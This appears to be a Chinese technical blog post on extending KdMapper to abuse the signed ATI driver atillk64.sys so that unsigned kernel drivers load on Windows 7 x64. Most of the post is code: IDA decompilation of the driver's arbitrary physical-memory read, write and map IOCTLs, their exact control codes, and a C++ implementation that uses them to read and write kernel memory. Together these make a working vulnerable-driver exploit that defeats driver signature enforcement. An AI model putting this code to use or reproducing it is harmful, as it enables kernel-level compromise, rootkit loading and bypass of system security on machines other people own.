KdMapper扩展实现之ATI(atillk64.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 atillk64.sys 
时间戳 4321D736
MD5 26D973D6D9A0D133DFDA7D8C1ADC04B7
文件版本 5.11.9.0
设备名称 \\.\atillk64
读物理内存 0x9C402544
写物理内存 0x9C402548
映射物理内存到用户空间 0x9C402564
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = qword_13108;
        if (!qword_13108 || qword_13108 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&qword_13108 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                qword_13108 = v2;
        }
        qword_13100 = ~v2;
        return sub_119B0(DriverObject);
}

 

3.2 创建设备和符号链接

__int64 __fastcall sub_119B0(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS v2; // ebx
        _QWORD* v3; // rcx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h] BYREF

        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11940;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_11940;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_11940;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)RxInitializeDispatchVectors;
        RtlInitUnicodeString(&DestinationString, L"\\Device\\atillk64");
        v2 = IoCreateDevice(DriverObject, 0x10u, &DestinationString, 0x22u, 0, 0, &DeviceObject);
        if (v2 >= 0)
        {
                v3 = DeviceObject->DeviceExtension;
                *v3 = 0i64;
                v3[1] = 0i64;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\atillk64");
                v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v2 < 0)
                {
                        IoDeleteDevice(DeviceObject);
                        return (unsigned int)v2;
                }
                DeviceObject->Flags |= 4u;
                *(_QWORD*)DeviceObject->DeviceExtension = DeviceObject;
        }
        return (unsigned int)v2;
}

 

3.3 MainDispatch

主要的IRP处理函数为 sub_11940,其代码如下:

__int64 __fastcall sub_11940(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // r8
        unsigned int ntStatus; // ebx
        UCHAR nControlCode; // al
        _DWORD* v5; // rcx

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        ntStatus = 0;
        pIrp->IoStatus.Information = 0i64;
        nControlCode = pIosp->MajorFunction;
        v5 = pDeviceObject->DeviceExtension;
        if (pIosp->MajorFunction && nControlCode != 2)
        {
                if (nControlCode == 14)
                {
                        v5[2] = pIosp->Parameters.DeviceIoControl.IoControlCode;
                        ntStatus = sub_11010((__int64)v5, pIrp, pIosp, pIosp->Parameters.DeviceIoControl.IoControlCode);
                }
                else
                {
                        ntStatus = 0xC000000D;
                }
        }
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

 

3.4 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_11010,其关键代码如下:

__int64 __fastcall sub_11010(__int64 pDeviceExtension, _IRP* pIrp, _IO_STACK_LOCATION* pIosp, int nIoControlCode)
{
        __int64 nOutputBufferLength; // r10
        ULONG nInputBufferLength; // edx
        ATILLK_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rdi
        PVOID v8; // rax
        void* pMappedAddress; // r12
        __int64 result; // rax
        _MDL* pMdl; // rax
        _MDL* pMdlLocked; // rsi
        PVOID pLockedPages; // rbx
        PVOID pMappedAddressV20; // rax
        _BYTE* pMappedAddressCopyTo; // rax
        SIZE_T v25; // rdx
        SIZE_T nMapSizeFromCopy; // rbx
        _BYTE* pMappedAddressFromCopy; // rax
        SIZE_T nCopyFromCount; // rdx
        signed __int64 nCopyFromOffset; // r8
        char pCopyFromBuffer; // cl
        SIZE_T nMapSizeCopyTo; // rbx
        _BYTE* pCopyToBuffer; // r8
        LONGLONG nCopyToOffset; // r10
        SIZE_T v51; // r9
        char v52; // cl
        ......
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        pPhysicalMomoryInfo = (ATILLK_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        switch (nIoControlCode)
        {
        ......
        case 0x9C402544:
                if (nInputBufferLength != 16 || pPhysicalMomoryInfo->MapSize.QuadPart != nOutputBufferLength)// 从pPhysicalMomoryInfo的MapAddressInputOut复制到Content
                        goto LABEL_96;
                nMapSizeFromCopy = pPhysicalMomoryInfo->MapSize.LowPart;
                pMappedAddressFromCopy = MmMapIoSpace(pPhysicalMomoryInfo->PhysicalAddress, nMapSizeFromCopy, MmNonCached);
                if ((_DWORD)nMapSizeFromCopy)
                {
                        nCopyFromCount = nMapSizeFromCopy;
                        nCopyFromOffset = pMappedAddressFromCopy - (_BYTE*)pPhysicalMomoryInfo;
                        do
                        {
                                pCopyFromBuffer = *((_BYTE*)&pPhysicalMomoryInfo->PhysicalAddress.QuadPart + nCopyFromOffset);
                                pPhysicalMomoryInfo = (ATILLK_PHYSICAL_MEMORY_INFO*)((char*)pPhysicalMomoryInfo + 1);
                                --nCopyFromCount;
                                HIBYTE(pPhysicalMomoryInfo[0xFFFFFFFF].Content.QuadPart) = pCopyFromBuffer;
                        } while (nCopyFromCount);
                }
                goto LABEL_88;
        case 0x9C402548:
                if (nInputBufferLength != 24)           // 从pPhysicalMomoryInfo的Content复制到MapAddressInputOut 
                        goto LABEL_96;
                nMapSizeCopyTo = pPhysicalMomoryInfo->MapSize.LowPart;
                pMappedAddressCopyTo = MmMapIoSpace(pPhysicalMomoryInfo->PhysicalAddress, nMapSizeCopyTo, MmNonCached);
                if ((_DWORD)nMapSizeCopyTo)
                {
                        pCopyToBuffer = pMappedAddressCopyTo;
                        nCopyToOffset = pPhysicalMomoryInfo->Content.QuadPart - (_QWORD)pMappedAddressCopyTo;
                        v51 = nMapSizeCopyTo;
                        do
                        {
                                v52 = (pCopyToBuffer++)[nCopyToOffset];
                                --v51;
                                *(pCopyToBuffer - 1) = v52;
                        } while (v51);
                }
                v25 = nMapSizeCopyTo;
        LABEL_94:
                MmUnmapIoSpace(pMappedAddressCopyTo, v25);
                result = 0i64;
                pIrp->IoStatus.Information = 0i64;
                return result;
        case 0x9C402564:
                if (nInputBufferLength != 24)           // -----------------------先映射物理内存到系统地址空间,再将系统地址空间映射到用户空间
                        goto LABEL_96;
                pMappedAddressV20 = MmMapIoSpace(
                        pPhysicalMomoryInfo->PhysicalAddress,
                        pPhysicalMomoryInfo->MapSize.LowPart,
                        (MEMORY_CACHING_TYPE)(pPhysicalMomoryInfo->Content.QuadPart != 0));
                pMappedAddress = pMappedAddressV20;
                if (!pMappedAddressV20)
                        goto LABEL_25;
                pMdl = IoAllocateMdl(pMappedAddressV20, pPhysicalMomoryInfo->MapSize.LowPart, 0, 0, 0i64);
                pMdlLocked = pMdl;
                if (pMdl)
                {
                LABEL_20:
                        MmBuildMdlForNonPagedPool(pMdl);
                        pLockedPages = MmMapLockedPages(pMdlLocked, 1);
                        IoFreeMdl(pMdlLocked);
                        MmUnmapIoSpace(pMappedAddress, pPhysicalMomoryInfo->MapSize.LowPart);
                        pPhysicalMomoryInfo->PhysicalAddress.QuadPart = (LONGLONG)pLockedPages;
                        pIrp->IoStatus.Information = 8i64;
                        result = 0i64;
                }
                else
                {
                LABEL_24:
                        MmUnmapIoSpace(pMappedAddress, pPhysicalMomoryInfo->MapSize.LowPart);
                LABEL_25:
                        result = 0xC000009Ai64;
                }
                break;
        LABEL_88:
                MmUnmapIoSpace(pMappedAddressFromCopy, nMapSizeFromCopy);
                pIrp->IoStatus.Information = nMapSizeFromCopy;
                return 0i64;
                ......
                LABEL_96:
                        pIrp->IoStatus.Information = 0i64;
                LABEL_97:
                        result = 0xC000000Di64;
                }
                break;
        default:
                goto LABEL_97;
        }
        return result;
}
  • 读物理内存 0x9C402544

  从ATILLK_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress复制数据到ATILLK_PHYSICAL_MEMORY_INFO的内容地址Content。

  • 写物理内存 0x9C402548

  从ATILLK_PHYSICAL_MEMORY_INFO的内容地址Content复制数据到ATILLK_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress。

  •  映射物理内存到用户空间 0x9C402564

  将ATILLK_PHYSICAL_MEMORY_INFO指定的物理地址PhysicalAddress通过MmMapLockedPages映射至用户空间,并返回给ATILLK_PHYSICAL_MEMORY_INFO的PhysicalAddress。

3.5 ATILLK_PHYSICAL_MEMORY_INFO结构

00000000 ATILLK_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x18, copyof_386)
00000000 PhysicalAddress _LARGE_INTEGER ?
00000008 anonymous_0     ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 ?
00000010 Content         _LARGE_INTEGER ?
00000018 ATILLK_PHYSICAL_MEMORY_INFO ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 union ; (sizeof=0x8, copyof_385)
00000000                                         ; XREF: ATILLK_PHYSICAL_MEMORY_INFO/r
00000000 MappedMdl       dq ?                    ; offset
00000000 MapSize         LARGE_INTEGER ?
00000000 ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 ends

 

3.6 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct _ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO {
                _LARGE_INTEGER 	PhysicalAddress;
                union
                {
                        PVOID	MappedMdl;
			LARGE_INTEGER MapSize;
                };
                _LARGE_INTEGER 	Content;
        } ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO, *PATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO;
	typedef struct _ATILLK64_READ_PHYSICAL_MEMORY_INFO {
		_LARGE_INTEGER 	PhysicalAddress;
		LARGE_INTEGER MapSize;
	} ATILLK64_READ_PHYSICAL_MEMORY_INFO, * PATILLK64_READ_PHYSICAL_MEMORY_INFO;
        typedef struct _ATILLK64_WRITE_PHYSICAL_MEMORY_INFO {
                _LARGE_INTEGER 	PhysicalAddress;
                LARGE_INTEGER MapSize;
		LARGE_INTEGER Content;
        } ATILLK64_WRITE_PHYSICAL_MEMORY_INFO, * PATILLK64_WRITE_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ATILLK64_DEVICE_TYPE          (DWORD)0x9C40
#define ATILLK64_READ_PHYSICAL_MEMORY	(DWORD)0x951 
#define ATILLK64_WRITE_PHYSICAL_MEMORY	(DWORD)0x952
#define ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID (DWORD)0x959

#define IOCTL_ATILLK64_READ_PHYSICAL_MEMORY     \
    CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_READ_PHYSICAL_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402544

#define IOCTL_ATILLK64_WRITE_PHYSICAL_MEMORY      \
    CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_WRITE_PHYSICAL_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402548

#define IOCTL_ATILLK64_MAP_PHYSICAL_MEMORY_WITH_UNMAP      \
    CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402564

 

4.2 .c文件

NTSTATUS ati_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL ati_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID ati_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        _In_ PVOID* MDLReturn)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO request = { 0 };

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = offset;
        request.MapSize.QuadPart = mapSize;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ATILLK64_MAP_PHYSICAL_MEMORY_WITH_UNMAP,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                if (MDLReturn)
                {
                        *MDLReturn = request.MappedMdl;
                }
                return (PVOID)request.PhysicalAddress.QuadPart;
        }

        return NULL;
}

VOID ati_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID Address,
        _In_ PVOID MDL,
        ULONG NumberOfBytes
)
{
        UNREFERENCED_PARAMETER(DeviceHandle);
        UNREFERENCED_PARAMETER(Address);
        UNREFERENCED_PARAMETER(MDL);
        UNREFERENCED_PARAMETER(NumberOfBytes);
        /*
        if (!Address)
        {
                Log(L"[!] SuperUnmapMemory, Address is Null\r\n");
                return;
        }
        if (!MDL)
        {
                Log(L"[!] SuperUnmapMemory, MDL is Null\r\n");
                return;
        }
        ATILLK64_PHYSICAL_MEMORY_INFO request;
        RtlSecureZeroMemory(&request, sizeof(request));
        request.PhysicalAddress.QuadPart = (LONGLONG)Address;
        request.Content.QuadPart = (LONGLONG)MDL;
        request.MapSize = NumberOfBytes;
        SuperCallDriver(DeviceHandle,
                IOCTL_ATILLK64_UNMAP_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));*/
}

BOOL WINAPI ati_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        if (!g_bUseMapMemory)
        {
                return SuperReadWritePhysicalMemoryDirectInternal(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, DoWrite);
        }
        else
        {
                return SuperReadWritePhysicalMemoryMapInternal(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, DoWrite);
        }
}

BOOL WINAPI ati_driver::SuperReadWritePhysicalMemoryDirectInternal(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        __try
        {
                if (DoWrite)
                {
                        ATILLK64_WRITE_PHYSICAL_MEMORY_INFO memoryInfo = { 0 };
                        memoryInfo.PhysicalAddress.QuadPart = PhysicalAddress;
                        memoryInfo.MapSize.QuadPart = NumberOfBytes;
                        memoryInfo.Content.QuadPart = (LONGLONG)Buffer;
                        if (SuperCallDriver(DeviceHandle,
                                IOCTL_ATILLK64_WRITE_PHYSICAL_MEMORY,
                                &memoryInfo,
                                sizeof(memoryInfo),
                                &memoryInfo,
                                sizeof(memoryInfo)))
                        {

                                bResult = TRUE;
                        }
                        else
                        {
                                Log(L"[!] Failed Write PhysicalMemory!" << std::endl);
                        }
                }
                else
                {
                        ATILLK64_READ_PHYSICAL_MEMORY_INFO memoryInfo = { 0 };
                        memoryInfo.PhysicalAddress.QuadPart = PhysicalAddress;
                        memoryInfo.MapSize.QuadPart = NumberOfBytes;
                        ULONG ulSize = NumberOfBytes + sizeof(ATILLK64_READ_PHYSICAL_MEMORY_INFO);
                        PBYTE pInputBuffer = (PBYTE)malloc(ulSize);
                        if (pInputBuffer)
                        {
                                RtlZeroMemory(pInputBuffer, ulSize);
                                RtlCopyMemory(pInputBuffer, &memoryInfo, sizeof(memoryInfo));

                                if (SuperCallDriver(DeviceHandle,
                                        IOCTL_ATILLK64_READ_PHYSICAL_MEMORY,
                                        pInputBuffer,
                                        sizeof(memoryInfo),
                                        /*pInputBuffer+sizeof(memoryInfo)*/
                                        Buffer,
                                        NumberOfBytes))
                                {
                                        // RtlCopyMemory(Buffer, pInputBuffer + sizeof(memoryInfo), NumberOfBytes);
                                        bResult = TRUE;
                                }
                                else
                                {
                                        Log(L"[!] Failed Read PhysicalMemory!" << std::endl);
                                }
                                free(pInputBuffer);
                        }
                        else
                        {
                                Log(L"[!] Failed Read PhysicalMemory, malloc failed@" << std::endl);
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error SuperReadWritePhysicalMemoryDirectInternal Exception!" << std::endl);
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI ati_driver::SuperReadWritePhysicalMemoryMapInternal(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;

        PVOID pMappedAddress = NULL;
        PVOID pMappedMDL = NULL;
        ULONG_PTR offset = 0;
        pMappedAddress = SuperMapMemory(DeviceHandle, PhysicalAddress, NumberOfBytes, &pMappedMDL);
        if (pMappedAddress)
        {
                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
                __try {

                        if (DoWrite) {
                                RtlCopyMemory(RtlOffsetToPointer(pMappedAddress, offset), Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, RtlOffsetToPointer(pMappedAddress, offset), NumberOfBytes);
                        }

                        bResult = TRUE;

                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error SuperReadWritePhysicalMemoryMapInternal Exception!" << std::endl);
                }
                //SuperUnmapMemory(DeviceHandle, pMappedAddress, pMappedMDL, NumberOfBytes);
        }
        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI ati_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI ati_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI ati_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

 

6.特别提示

  使用atillk64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

posted @ 2023-09-07 10:26  禁锢在时空之中的灵魂  阅读(65)  评论(0编辑  收藏  举报